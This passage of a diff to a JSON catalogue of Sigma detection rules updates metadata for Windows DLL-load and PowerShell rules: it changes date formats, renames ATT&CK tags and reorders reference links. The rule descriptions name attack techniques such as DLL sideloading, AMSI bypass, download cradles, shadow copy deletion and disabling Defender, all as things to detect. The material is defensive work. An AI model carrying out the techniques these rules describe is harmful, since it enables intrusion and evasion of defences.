"2020/05/03", + "creation_date": "2020-05-03", "falsepositive": [ "Legitimate Py2Exe Binaries", "Known false positive caused with Python Anaconda" @@ -70685,12 +70791,12 @@ "logsource.category": "image_load", "logsource.product": "windows", "refs": [ - "https://www.py2exe.org/", "https://unit42.paloaltonetworks.com/unit-42-technical-analysis-seaduke/", + "https://www.py2exe.org/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_python_image_load.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027.002" ] }, @@ -70710,7 +70816,7 @@ "description": "Detects the load of RstrtMgr DLL (Restart Manager) by a suspicious process.\nThis library has been used during ransomware campaigns to kill processes that would prevent file encryption by locking them (e.g. Conti ransomware, Cactus ransomware). It has also recently been seen used by the BiBi wiper for Windows.\nIt could also be used for anti-analysis purposes by shut downing specific processes.\n", "meta": { "author": "Luc Génaux", - "creation_date": "2023/11/28", + "creation_date": "2023-11-28", "falsepositive": [ "Processes related to software installation" ], @@ -70719,15 +70825,15 @@ "logsource.category": "image_load", "logsource.product": "windows", "refs": [ - "https://www.crowdstrike.com/blog/windows-restart-manager-part-1/", - "https://www.swascan.com/cactus-ransomware-malware-analysis/", - "https://www.crowdstrike.com/blog/windows-restart-manager-part-2/", "https://taiwan.postsen.com/business/88601/Hamas-hackers-use-data-destruction-software-BiBi-which-consumes-a-lot-of-processor-resources-to-wipe-Windows-computer-data--iThome.html", + "https://web.archive.org/web/20231221193106/https://www.swascan.com/cactus-ransomware-malware-analysis/", + "https://www.crowdstrike.com/blog/windows-restart-manager-part-2/", + "https://www.crowdstrike.com/blog/windows-restart-manager-part-1/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_dll_rstrtmgr_suspicious_load.yml" ], "tags": [ "attack.impact", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1486", "attack.t1562.001" ] @@ -70755,7 +70861,7 @@ "description": "Detects potential DLL side loading of DLLs that are part of the Wazuh security platform", "meta": { "author": "X__Junior (Nextron Systems)", - "creation_date": "2023/03/13", + "creation_date": "2023-03-13", "falsepositive": [ "Many legitimate applications leverage this DLL. (Visual Studio, JetBrains, Ruby, Anaconda, GithubDesktop, etc.)" ], @@ -70768,9 +70874,9 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_wazuh.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1574.001", "attack.t1574.002" ] @@ -70798,7 +70904,7 @@ "description": "Detects potential DLL sideloading of an unsigned dbghelp.dll by the Sysinternals VMMap.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/07/28", + "creation_date": "2023-07-28", "falsepositive": [ "Unknown" ], @@ -70811,9 +70917,9 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_vmmap_dbghelp_unsigned.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1574.001", "attack.t1574.002" ] @@ -70841,7 +70947,7 @@ "description": "Detects Microsoft Excel loading an Add-In (.xll) file from an uncommon location", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/05/12", + "creation_date": "2023-05-12", "falsepositive": [ "Some tuning might be required to allow or remove certain locations used by the rule if you consider them as safe locations" ], @@ -70850,8 +70956,8 @@ "logsource.category": "image_load", "logsource.product": "windows", "refs": [ - "https://www.mandiant.com/resources/blog/lnk-between-browsers", "https://wazuh.com/blog/detecting-xll-files-used-for-dropping-fin7-jssloader-with-wazuh/", + "https://www.mandiant.com/resources/blog/lnk-between-browsers", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_office_excel_xll_susp_load.yml" ], "tags": [ @@ -70875,7 +70981,7 @@ "description": "Detects potential DLL sideloading of rcdll.dll", "meta": { "author": "X__Junior (Nextron Systems)", - "creation_date": "2023/03/13", + "creation_date": "2023-03-13", "falsepositive": [ "Unknown" ], @@ -70888,8 +70994,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_rcdll.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1574.001", "attack.t1574.002" ] @@ -70917,7 +71023,7 @@ "description": "Detects DLL sideloading of \"dbgcore.dll\"", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), Wietze Beukema (project and research)", - "creation_date": "2022/10/25", + "creation_date": "2022-10-25", "falsepositive": [ "Legitimate applications loading their own versions of the DLL mentioned in this rule" ], @@ -70930,9 +71036,9 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_dbgcore.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1574.001", "attack.t1574.002" ] @@ -70960,7 +71066,7 @@ "description": "Detects potential sideloading of \"mpclient.dll\" by Windows Defender processes (\"MpCmdRun\" and \"NisSrv\") from their non-default directory.", "meta": { "author": "Bhabesh Raj", - "creation_date": "2022/08/02", + "creation_date": "2022-08-02", "falsepositive": [ "Unlikely" ], @@ -70973,7 +71079,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_windows_defender.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1574.002" ] }, @@ -70993,7 +71099,7 @@ "description": "Detects a threat actor creating a file named `wbemcomn.dll` in the `C:\\Windows\\System32\\wbem\\` directory over the network and loading it for a WMI DLL Hijack scenario.", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2020/10/12", + "creation_date": "2020-10-12", "falsepositive": [ "Unknown" ], @@ -71008,7 +71114,7 @@ "tags": [ "attack.execution", "attack.t1047", - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1021.002" ] }, @@ -71035,7 +71141,7 @@ "description": "Detects potential DLL sideloading of \"libcurl.dll\" by the \"gup.exe\" process from an uncommon location", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/05/05", + "creation_date": "2023-05-05", "falsepositive": [ "Unknown" ], @@ -71048,9 +71154,9 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_gup_libcurl.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1574.001", "attack.t1574.002" ] @@ -71078,7 +71184,7 @@ "description": "Detects the load of EvtMuteHook.dll, a key component of SharpEvtHook, a tool that tampers with the Windows event logs", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/09/07", + "creation_date": "2022-09-07", "falsepositive": [ "Other DLLs with the same Imphash" ], @@ -71091,7 +71197,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_hktl_sharpevtmute.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.002" ] }, @@ -71111,7 +71217,7 @@ "description": "Detects potential DLL sideloading of \"CCleanerReactivator.dll\"", "meta": { "author": "X__Junior", - "creation_date": "2023/07/13", + "creation_date": "2023-07-13", "falsepositive": [ "False positives could occur from other custom installation paths. Apply additional filters accordingly." ], @@ -71124,9 +71230,9 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_ccleaner_reactivator.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1574.001", "attack.t1574.002" ] @@ -71154,7 +71260,7 @@ "description": "Detects potential DLL sideloading of \"AVKkid.dll\"", "meta": { "author": "X__Junior (Nextron Systems)", - "creation_date": "2023/08/03", + "creation_date": "2023-08-03", "falsepositive": [ "Unknown" ], @@ -71167,8 +71273,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_avkkid.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1574.001", "attack.t1574.002" ] @@ -71196,7 +71302,7 @@ "description": "Detects potential DLL sideloading using ClassicExplorer32.dll from the Classic Shell software", "meta": { "author": "frack113", - "creation_date": "2022/12/13", + "creation_date": "2022-12-13", "falsepositive": [ "Unknown" ], @@ -71210,9 +71316,9 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_classicexplorer32.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1574.001", "attack.t1574.002" ] @@ -71240,7 +71346,7 @@ "description": "Detects cmstp loading \"dll\" or \"ocx\" files from suspicious locations", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/30", + "creation_date": "2022-08-30", "falsepositive": [ "Unikely" ], @@ -71253,7 +71359,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_cmstp_load_dll_from_susp_location.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218.003" ] }, @@ -71273,7 +71379,7 @@ "description": "Loading unsigned image (DLL, EXE) into LSASS process", "meta": { "author": "Teymur Kheirkhabarov, oscd.community", - "creation_date": "2019/10/22", + "creation_date": "2019-10-22", "falsepositive": [ "Valid user connecting using RDP" ], @@ -71286,7 +71392,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_lsass_unsigned_image_load.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.001" ] }, @@ -71306,7 +71412,7 @@ "description": "Detects potential DLL sideloading of \"DbgModel.dll\"", "meta": { "author": "Gary Lobermier", - "creation_date": "2024/07/11", + "creation_date": "2024-07-11", "falsepositive": [ "Legitimate applications loading their own versions of the DLL mentioned in this rule" ], @@ -71319,7 +71425,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_dbgmodel.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1574.002" ] }, @@ -71339,7 +71445,7 @@ "description": "Detects outlvba (Microsoft VBA for Outlook Addin) DLL being loaded by the outlook process", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/02/08", + "creation_date": "2023-02-08", "falsepositive": [ "Legitimate macro usage. Add the appropriate filter according to your environment" ], @@ -71372,7 +71478,7 @@ "description": "Detects potential DLL hijack of \"iertutil.dll\" found in the DCOM InternetExplorer.Application Class", "meta": { "author": "Roberto Rodriguez @Cyb3rWard0g, Open Threat Research (OTR), wagga", - "creation_date": "2020/10/12", + "creation_date": "2020-10-12", "falsepositive": [ "Unknown" ], @@ -71385,7 +71491,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_iexplore_dcom_iertutil_dll_hijack.yml" ], "tags": [ - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1021.002", "attack.t1021.003" ] @@ -71413,7 +71519,7 @@ "description": "Detects a remote DLL load event via \"rundll32.exe\".", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/09/18", + "creation_date": "2023-09-18", "falsepositive": [ "Unknown" ], @@ -71447,7 +71553,7 @@ "description": "Detects potential DLL sideloading of DLLs that are part of antivirus software suchas McAfee, Symantec...etc", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), Wietze Beukema (project and research)", - "creation_date": "2022/08/17", + "creation_date": "2022-08-17", "falsepositive": [ "Applications that load the same dlls mentioned in the detection section. Investigate them and filter them out if a lot FPs are caused.", "Dell SARemediation plugin folder (C:\\Program Files\\Dell\\SARemediation\\plugin\\log.dll) is known to contain the 'log.dll' file.", @@ -71462,9 +71568,9 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_antivirus.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1574.001", "attack.t1574.002" ] @@ -71492,7 +71598,7 @@ "description": "Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network", "meta": { "author": "frack113", - "creation_date": "2021/07/21", + "creation_date": "2021-07-21", "falsepositive": [ "Unknown" ], @@ -71501,13 +71607,13 @@ "logsource.category": "ps_classic_start", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1095/T1095.md", "https://nmap.org/ncat/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1095/T1095.md", "https://github.com/besimorhino/powercat", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_powercat.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1095" ] }, @@ -71527,7 +71633,7 @@ "description": "Detects suspicious PowerShell download command", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2017/03/05", + "creation_date": "2017-03-05", "falsepositive": [ "PowerShell scripts that download content from the Internet" ], @@ -71560,7 +71666,7 @@ "description": "Detects suspicious powershell process which includes bxor command, alternative obfuscation method to b64 encoded commands.", "meta": { "author": "Teymur Kheirkhabarov, Harish Segar (rule)", - "creation_date": "2020/06/29", + "creation_date": "2020-06-29", "falsepositive": [ "Unknown" ], @@ -71593,7 +71699,7 @@ "description": "Detects PowerShell called from an executable by the version mismatch method", "meta": { "author": "Sean Metcalf (source), Florian Roth (Nextron Systems)", - "creation_date": "2017/03/05", + "creation_date": "2017-03-05", "falsepositive": [ "Unknown" ], @@ -71606,7 +71712,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_exe_calling_ps.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.execution", "attack.t1059.001" ] @@ -71627,7 +71733,7 @@ "description": "Detects suspicious use of the WSMAN provider without PowerShell.exe as the host application.", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2020/06/24", + "creation_date": "2020-06-24", "falsepositive": [ "Unknown" ], @@ -71644,7 +71750,7 @@ "tags": [ "attack.execution", "attack.t1059.001", - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1021.003" ] }, @@ -71671,7 +71777,7 @@ "description": "Detects PowerShell downgrade attack by comparing the host versions with the actually used engine version 2.0", "meta": { "author": "Florian Roth (Nextron Systems), Lee Holmes (idea), Harish Segar (improvements)", - "creation_date": "2017/03/22", + "creation_date": "2017-03-22", "falsepositive": [ "Unknown" ], @@ -71684,7 +71790,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_downgrade_attack.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.execution", "attack.t1059.001" ] @@ -71705,7 +71811,7 @@ "description": "Detects remote PowerShell sessions", "meta": { "author": "Roberto Rodriguez @Cyb3rWard0g", - "creation_date": "2019/08/10", + "creation_date": "2019-08-10", "falsepositive": [ "Legitimate use remote PowerShell sessions" ], @@ -71720,7 +71826,7 @@ "tags": [ "attack.execution", "attack.t1059.001", - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1021.006" ] }, @@ -71747,7 +71853,7 @@ "description": "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.", "meta": { "author": "frack113", - "creation_date": "2021/12/10", + "creation_date": "2021-12-10", "falsepositive": [ "Unknown" ], @@ -71780,7 +71886,7 @@ "description": "Detects a powershell download cradle using nslookup. This cradle uses nslookup to extract payloads from DNS records.", "meta": { "author": "Sai Prashanth Pulisetti @pulisettis, Aishwarya Singam", - "creation_date": "2022/12/10", + "creation_date": "2022-12-10", "falsepositive": [ "Unknown" ], @@ -71813,7 +71919,7 @@ "description": "Detects renamed powershell", "meta": { "author": "Harish Segar, frack113", - "creation_date": "2020/06/29", + "creation_date": "2020-06-29", "falsepositive": [ "Unknown" ], @@ -71846,7 +71952,7 @@ "description": "Detects PowerShell scripts that make use of the \"Compress-Archive\" Cmdlet in order to compress folders and files where the output is stored in a potentially suspicious location that is used often by malware for exfiltration.\nAn adversary might compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), frack113", - "creation_date": "2021/07/20", + "creation_date": "2021-07-20", "falsepositive": [ "Unknown" ], @@ -71855,8 +71961,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-347a", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1074.001/T1074.001.md", + "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-347a", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_susp_zip_compress.yml" ], "tags": [ @@ -71880,7 +71986,7 @@ "description": "Shadow Copies deletion using operating systems utilities via PowerShell", "meta": { "author": "frack113", - "creation_date": "2021/06/03", + "creation_date": "2021-06-03", "falsepositive": [ "Legitimate Administrator deletes Shadow Copies using operating systems utilities for legitimate reason" ], @@ -71889,8 +71995,8 @@ "logsource.category": "ps_classic_start", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md", "https://www.fortinet.com/blog/threat-research/stomping-shadow-copies-a-second-look-into-deletion-methods", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_delete_volume_shadow_copies.yml" ], "tags": [ @@ -71914,7 +72020,7 @@ "description": "Attempting to disable scheduled scanning and other parts of Windows Defender ATP or set default actions to allow.", "meta": { "author": "frack113, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2021/06/07", + "creation_date": "2021-06-07", "falsepositive": [ "Legitimate PowerShell scripts that disable Windows Defender for troubleshooting purposes. Must be investigated." ], @@ -71927,7 +72033,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_tamper_windows_defender_set_mp.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -71947,7 +72053,7 @@ "description": "Detects PowerShell module creation where the module Contents are set to \"function Get-VMRemoteFXPhysicalVideoAdapter\". This could be a sign of potential abuse of the \"RemoteFXvGPUDisablement.exe\" binary which is known to be vulnerable to module load-order hijacking.", "meta": { "author": "frack113, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2021/07/13", + "creation_date": "2021-07-13", "falsepositive": [ "Unknown" ], @@ -71961,7 +72067,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_remotefxvgpudisablement_abuse.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -71981,7 +72087,7 @@ "description": "Adversaries may search for common password storage locations to obtain user credentials.\nPasswords are stored in several places on a system, depending on the operating system or application holding the credentials.\n", "meta": { "author": "frack113", - "creation_date": "2021/12/20", + "creation_date": "2021-12-20", "falsepositive": [ "Unknown" ], @@ -71994,7 +72100,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_enumerate_password_windows_credential_manager.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1555" ] }, @@ -72014,7 +72120,7 @@ "description": "Open a handle on the drive volume via the \\\\.\\ DOS device path specifier and perform direct access read of the first few bytes of the volume.", "meta": { "author": "frack113", - "creation_date": "2022/01/09", + "creation_date": "2022-01-09", "falsepositive": [ "Legitimate PowerShell scripts" ], @@ -72027,7 +72133,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_iofilestream.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1070.003" ] }, @@ -72047,7 +72153,7 @@ "description": "Detects powershell scripts that creates sockets/listeners which could be indicative of tunneling activity", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/07/08", + "creation_date": "2022-07-08", "falsepositive": [ "Unknown" ], @@ -72060,7 +72166,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_proxy_scripts.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1090" ] }, @@ -72080,7 +72186,7 @@ "description": "Detects code fragments found in small and obfuscated AMSI bypass PowerShell scripts", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/11/09", + "creation_date": "2022-11-09", "falsepositive": [ "Unknown" ], @@ -72094,7 +72200,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_amsi_bypass_pattern_nov22.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001", "attack.execution" ] @@ -72115,7 +72221,7 @@ "description": "Detects calls to \"Add-Content\" cmdlet in order to modify the content of the user profile and potentially adding suspicious commands for persistence", "meta": { "author": "frack113, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2021/08/18", + "creation_date": "2021-08-18", "falsepositive": [ "Legitimate administration and tuning scripts that aim to add functionality to a user PowerShell session" ], @@ -72129,7 +72235,7 @@ ], "tags": [ "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1546.013" ] }, @@ -72149,7 +72255,7 @@ "description": "Adversaries may abuse PowerShell commands and scripts for execution.\nPowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system\n", "meta": { "author": "frack113", - "creation_date": "2022/01/06", + "creation_date": "2022-01-06", "falsepositive": [ "Legitimate administrative script" ], @@ -72158,8 +72264,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.001/T1059.001.md#atomic-test-10---powershell-invoke-downloadcradle", "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/new-pssession?view=powershell-7.4", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.001/T1059.001.md#atomic-test-10---powershell-invoke-downloadcradle", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_remote_session_creation.yml" ], "tags": [ @@ -72183,7 +72289,7 @@ "description": "Detects keywords that could indicate clearing PowerShell history", "meta": { "author": "Ilyas Ochkov, Jonhnathan Ribeiro, Daniil Yugoslavskiy, oscd.community", - "creation_date": "2022/01/25", + "creation_date": "2022-01-25", "falsepositive": [ "Legitimate PowerShell scripts" ], @@ -72196,7 +72302,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_clear_powershell_history.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1070.003" ] }, @@ -72216,7 +72322,7 @@ "description": "Adversaries may abuse the Windows command shell for execution.\nThe Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the primary command prompt on Windows systems.\nThe Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands.\nBatch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops.\nCommon uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple system\n", "meta": { "author": "frack113", - "creation_date": "2022/01/02", + "creation_date": "2022-01-02", "falsepositive": [ "Legitimate administration script" ], @@ -72249,7 +72355,7 @@ "description": "Detects changing the PowerShell script execution policy to a potentially insecure level using the \"Set-ExecutionPolicy\" cmdlet.", "meta": { "author": "frack113", - "creation_date": "2021/10/20", + "creation_date": "2021-10-20", "falsepositive": [ "Administrator script" ], @@ -72258,8 +72364,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_execution_policies?view=powershell-7.4", "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-executionpolicy?view=powershell-7.4", + "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_execution_policies?view=powershell-7.4", "https://adsecurity.org/?p=2604", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_set_policies_to_unsecure_level.yml" ], @@ -72284,7 +72390,7 @@ "description": "Detects when a user disables the Windows Firewall via a Profile to help evade defense.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/10/12", + "creation_date": "2021-10-12", "falsepositive": [ "Unknown" ], @@ -72293,15 +72399,15 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://www.tutorialspoint.com/how-to-get-windows-firewall-profile-settings-using-powershell", - "http://powershellhelp.space/commands/set-netfirewallrule-psv5.php", "http://woshub.com/manage-windows-firewall-powershell/", + "https://web.archive.org/web/20230929023836/http://powershellhelp.space/commands/set-netfirewallrule-psv5.php", + "https://www.tutorialspoint.com/how-to-get-windows-firewall-profile-settings-using-powershell", "https://learn.microsoft.com/en-us/powershell/module/netsecurity/set-netfirewallprofile?view=windowsserver2022-ps", "https://www.elastic.co/guide/en/security/current/windows-firewall-disabled-via-powershell.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_windows_firewall_profile_disabled.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.004" ] }, @@ -72321,7 +72427,7 @@ "description": "Detect malicious GPO modifications can be used to implement many other malicious behaviors.", "meta": { "author": "frack113", - "creation_date": "2022/08/19", + "creation_date": "2022-08-19", "falsepositive": [ "Legitimate use" ], @@ -72334,8 +72440,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_modify_group_policy_settings.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1484.001" ] }, @@ -72355,7 +72461,7 @@ "description": "Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol.", "meta": { "author": "frack113", - "creation_date": "2022/01/23", + "creation_date": "2022-01-23", "falsepositive": [ "Legitimate administrative script" ], @@ -72364,12 +72470,12 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://medium.com/walmartglobaltech/openssl-server-reverse-shell-from-windows-client-aee2dbfa0926", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1573/T1573.md#atomic-test-1---openssl-c2", + "https://medium.com/walmartglobaltech/openssl-server-reverse-shell-from-windows-client-aee2dbfa0926", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_ssl_keyword.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1573" ] }, @@ -72389,7 +72495,7 @@ "description": "Detect adversaries enumerate sensitive files", "meta": { "author": "frack113", - "creation_date": "2022/09/16", + "creation_date": "2022-09-16", "falsepositive": [ "Unknown" ], @@ -72422,7 +72528,7 @@ "description": "Detects AS-REP roasting is an attack that is often-overlooked. It is not very common as you have to explicitly set accounts that do not require pre-authentication.", "meta": { "author": "frack113", - "creation_date": "2022/03/17", + "creation_date": "2022-03-17", "falsepositive": [ "Legitimate PowerShell scripts" ], @@ -72431,8 +72537,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://shellgeek.com/useraccountcontrol-flags-to-manipulate-properties/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.002/T1069.002.md#atomic-test-11---get-aduser-enumeration-using-useraccountcontrol-flags-as-rep-roasting", + "https://shellgeek.com/useraccountcontrol-flags-to-manipulate-properties/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_as_rep_roasting.yml" ], "tags": [ @@ -72456,7 +72562,7 @@ "description": "Detects usage of the \"Import-Module\" cmdlet to load the \"Microsoft.ActiveDirectory.Management.dl\" DLL. Which is often used by attackers to perform AD enumeration.", "meta": { "author": "frack113, Nasreddine Bencherchali", - "creation_date": "2023/01/22", + "creation_date": "2023-01-22", "falsepositive": [ "Legitimate use of the library for administrative activity" ], @@ -72465,9 +72571,9 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://twitter.com/cyb3rops/status/1617108657166061568?s=20", - "https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-ad-module-without-rsat-or-admin-privileges", "https://github.com/samratashok/ADModule", + "https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-ad-module-without-rsat-or-admin-privileges", + "https://twitter.com/cyb3rops/status/1617108657166061568?s=20", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_active_directory_module_dll_import.yml" ], "tags": [ @@ -72483,7 +72589,7 @@ "description": "Detects Obfuscated 